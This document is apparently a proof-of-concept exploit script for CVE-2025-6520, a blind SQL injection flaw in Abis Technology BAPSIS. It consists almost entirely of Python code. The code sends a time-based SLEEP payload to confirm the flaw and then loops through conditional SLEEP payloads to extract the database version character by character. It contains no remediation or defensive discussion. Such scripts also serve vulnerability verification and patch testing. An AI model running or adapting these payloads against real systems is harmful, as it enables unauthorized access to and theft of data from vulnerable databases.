CVE-2025-6520: Abis Technology BAPSIS SQL注入漏洞

import requests import time # CVE-2025-6520 PoC - Blind SQL Injection in Abis Technology BAPSIS # Target: BAPSIS application with SQL injection vulnerability target_url = "http://target-server/BAPSIS/endpoint" # Test payload - blind SQL injection using time-based technique # This payload will cause a 5-second delay if vulnerable test_payload = "' OR SLEEP(5)--" def test_sql_injection(): print(f"[*] Testing CVE-2025-6520 on {target_url}") # Replace 'param' with the actual vulnerable parameter data = { 'param': test_payload } start_time = time.time() try: response = requests.post(target_url, data=data, timeout=10) elapsed = time.time() - start_time if elapsed >= 5: print(f"[+] Vulnerable! Response delay: {elapsed:.2f}s") print(f"[+] Blind SQL Injection confirmed") return True else: print(f"[-] Not vulnerable or parameter not found") return False except requests.exceptions.Timeout: print("[+] Request timeout - likely vulnerable") return True except Exception as e: print(f"[-] Error: {e}") return False def extract_data(): # Example: Extract database version using blind SQL injection # This is a simplified demonstration charset = 'abcdefghijklmnopqrstuvwxyz0123456789' result = "" for pos in range(1, 50): for char in charset: payload = f"' OR IF(SUBSTRING(@@version,{pos},1)='{char}',SLEEP(2),0)--" data = {'param': payload} start = time.time() try: requests.post(target_url, data=data, timeout=5) if time.time() - start >= 2: result += char print(f"[+] Extracted: {result}") break except: pass if len(result) == pos: break print(f"[+] Database version: {result}") return result if __name__ == "__main__": if test_sql_injection(): print("[*] Proceeding with data extraction...") extract_data()